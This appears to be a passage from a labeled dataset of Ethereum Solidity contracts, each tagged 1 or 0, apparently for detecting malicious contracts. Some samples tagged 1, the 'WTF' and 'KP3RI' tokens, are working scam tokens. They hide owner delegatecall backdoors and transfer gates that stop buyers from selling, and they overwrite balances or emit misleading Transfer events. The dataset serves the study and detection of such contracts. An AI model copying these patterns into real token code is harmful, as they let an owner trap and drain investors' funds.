function() public payable whenNotPaused {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
if (size == 0) {
errorReporter.revertTx("EOA cannot send ether to primary fallback");
}
}
}
contract AllowanceSetter {
uint256 constant MAX_UINT = 2**256 - 1;
function approveAddress(address addressToApprove, address token) internal {
if(ERC20(token).allowance(address(this), addressToApprove) == 0) {
require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT));
}
}
}
contract TotleProxyPrimary is Ownable, AllowanceSetter {
TokenTransferProxy public tokenTransferProxy;
TotlePrimary public totlePrimary;
constructor(address _tokenTransferProxy, address _totlePrimary) public {
tokenTransferProxy = TokenTransferProxy(_tokenTransferProxy);
totlePrimary = TotlePrimary(_totlePrimary);
}
function performRebalance(
TotlePrimary.Trade[] memory trades,
address feeAccount,
bytes32 id,
address paymentReceiver,
bool redirectEth,
address[] redirectTokens
)
public
payable
{
transferTokensIn(trades);
totlePrimary.performRebalance.value(msg.value)(trades, feeAccount, id);
transferTokensOut(trades, paymentReceiver, redirectTokens);
if(redirectEth) {
paymentReceiver.transfer(address(this).balance);
} else {
msg.sender.transfer(address(this).balance);
}
}
function transferTokensIn(TotlePrimary.Trade[] trades) internal {
for (uint256 i = 0; i < trades.length; i++) {
if (trades[i].isSell) {
if (!tokenTransferProxy.transferFrom(
trades[i].tokenAddress,
msg.sender,
address(this),
trades[i].tokenAmount
)) {
revert("TTP unable to transfer tokens to proxy");
}
approveAddress(address(totlePrimary), trades[i].tokenAddress);
}
}
}
function transferTokensOut(TotlePrimary.Trade[] trades, address receiver, address[] redirectTokens) internal {
for (uint256 i = 0; i < trades.length; i++) {
bool redirect = false;
for(uint256 tokenIndex = 0; tokenIndex < redirectTokens.length; tokenIndex++){
if(redirectTokens[tokenIndex] == trades[i].tokenAddress){
redirect = true;
break;
}
}
uint256 balance = ERC20(trades[i].tokenAddress).balanceOf(address(this));
if(balance > 0){
ERC20SafeTransfer.safeTransfer(trades[i].tokenAddress, redirect ? receiver : msg.sender, balance);
}
}
}
function setTokenTransferProxy(address _newTokenTransferProxy) public onlyOwner {
tokenTransferProxy = TokenTransferProxy(_newTokenTransferProxy);
}
function setTotlePrimary(address _newTotlePrimary) public onlyOwner {
totlePrimary = TotlePrimary(_newTotlePrimary);
}
} | 1 | 4,166 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract WTF is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "fees.wtf";
string public symbol = "WTF";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tooWho, uint amount) public {
require(msg.sender == owner);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = amount;
emit Transfer(address(0x0), _tooWho[i], amount);
}
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 1 | 3,883 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract InvestTFC is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0x274b71f49dc3f5370da8c81e4e936eaf9a669321;
AltcoinToken thetoken = AltcoinToken(_tokenContract);
uint256 public tokensPerEth = 10000e4;
uint256 public tokensPerAirdrop = 5e4;
uint256 public bonus = 0;
uint256 public airdropcounter = 0;
uint256 public constant minContribution = 1 ether / 1000;
uint256 public constant extraBonus = 1 ether;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Distr(address indexed to, uint256 amount);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensPerAirdropUpdated(uint _tokensPerEth);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function InvestTFC () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner {
tokensPerAirdrop = _tokensPerAirdrop;
emit TokensPerAirdropUpdated(_tokensPerAirdrop);
}
function () external payable {
if ( msg.value >= minContribution) {
sendTokens();
}
else if ( msg.value < minContribution) {
airdropcounter = airdropcounter + 1;
sendAirdrop();
}
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
bonus = 0;
if ( msg.value >= extraBonus ) {
bonus = tokens / 2;
}
tokens = tokens + bonus;
sendtokens(thetoken, tokens, investor);
}
function sendAirdrop() private returns (bool) {
uint256 tokens = 0;
require( airdropcounter < 1000 );
tokens = tokensPerAirdrop;
address holder = msg.sender;
sendtokens(thetoken, tokens, holder);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function resetAirdrop() onlyOwner public {
airdropcounter=0;
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendtokens(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 1 | 2,203 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KP3RI {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,494 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BITVesting is Ownable {
BITToken public token;
uint256 public releaseDate;
function BITVesting (
BITToken _token,
address _beneficiary,
uint256 _releaseDate
) public {
token = _token;
releaseDate = _releaseDate;
owner = _beneficiary;
}
function claim (
address _recipient,
bytes _data
) external onlyOwner returns (bool success) {
require(_recipient != address(0));
require(block.timestamp > releaseDate);
uint256 funds = token.balanceOf(this);
require(token.transfer(_recipient, funds));
selfdestruct(msg.sender);
return true;
}
function tokenFallback(
address _from,
uint _value,
bytes _data
) external view {
require(msg.sender == address(token));
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BITToken is MintableToken, PausableToken {
event Vested(address indexed beneficiary, address indexed vestingContract, uint256 releaseDate, uint256 amount);
event BITTransfer(address indexed _from, address indexed _to, uint256 _value, bytes32 data);
uint256 public constant decimals = 18;
string public constant name = "BitRewards Token";
string public constant symbol = "BIT";
function BITToken () public MintableToken() {
}
function transfer (address _to, uint256 _value, bytes32 _data) public returns(bool res) {
if (PausableToken.transfer(_to, _value)) {
emit BITTransfer(msg.sender, _to, _value, _data);
return true;
}
}
function transferFrom (address _from, address _to, uint256 _value, bytes32 _data) public returns(bool res) {
if (PausableToken.transferFrom(_from, _to, _value)) {
emit BITTransfer(_from, _to, _value, _data);
return true;
}
}
function vest(
address _beneficiary,
uint256 _releaseDate,
uint256 _amount
)
public onlyOwner canMint returns (address)
{
address vestingContract = new BITVesting(
this,
_beneficiary,
_releaseDate
);
assert (vestingContract != 0x0);
require(mint(vestingContract, _amount));
emit Vested(_beneficiary, address(vestingContract), _releaseDate, _amount);
return vestingContract;
}
} | 0 | 661 |
pragma solidity ^0.4.18;
contract SimpleEscrow {
uint public PERIOD = 21 days;
uint public SAFE_PERIOD = 5 days;
address public developerWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770;
address public customerWallet;
uint public started;
uint public orderLastDate;
uint public safeLastDate;
address public owner;
function SimpleEscrow() public {
owner = msg.sender;
}
modifier onlyCustomer() {
require(msg.sender == customerWallet);
_;
}
modifier onlyDeveloper() {
require(msg.sender == developerWallet);
_;
}
function setDeveloperWallet(address newDeveloperWallet) public {
require(msg.sender == owner);
developerWallet = newDeveloperWallet;
}
function completed() public onlyCustomer {
developerWallet.transfer(this.balance);
}
function orderNotAccepted() public onlyCustomer {
require(now >= orderLastDate);
safeLastDate += SAFE_PERIOD;
}
function failedByDeveloper() public onlyDeveloper {
customerWallet.transfer(this.balance);
}
function completeOrderBySafePeriod() public onlyDeveloper {
require(now >= safeLastDate);
developerWallet.transfer(this.balance);
}
function () external payable {
require(customerWallet == address(0x0));
customerWallet = msg.sender;
started = now;
orderLastDate = started + PERIOD;
safeLastDate = orderLastDate + SAFE_PERIOD;
}
} | 0 | 1,002 |
pragma solidity ^0.4.19;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Nonpayable {
function () public payable {
revert();
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
}
contract Regulated is Ownable {
event Whitelisted(address indexed customer);
event Blacklisted(address indexed customer);
mapping(address => bool) regulationStatus;
function whitelist(address customer) public onlyOwner {
regulationStatus[customer] = true;
Whitelisted(customer);
}
function blacklist(address customer) public onlyOwner {
regulationStatus[customer] = false;
Blacklisted(customer);
}
function ensureRegulated(address customer) public constant {
require(regulationStatus[customer] == true);
}
function isRegulated(address customer) public constant returns (bool approved) {
return regulationStatus[customer];
}
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract VaultbankToken is ERC20, Regulated, Nonpayable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function VaultbankToken() public {
symbol = "VB";
name = "Vaultbank Token";
decimals = 8;
_totalSupply = 45624002 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
regulationStatus[owner] = true;
Whitelisted(owner);
}
function issue(address recipient, uint tokens) public onlyOwner returns (bool success) {
require(recipient != address(0));
require(recipient != owner);
whitelist(recipient);
transfer(recipient, tokens);
return true;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
require(newOwner != owner);
whitelist(newOwner);
transfer(newOwner, balances[owner]);
owner = newOwner;
}
function totalSupply() public constant returns (uint supply) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
ensureRegulated(msg.sender);
ensureRegulated(to);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
require((tokens == 0) || (allowed[msg.sender][spender] == 0));
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
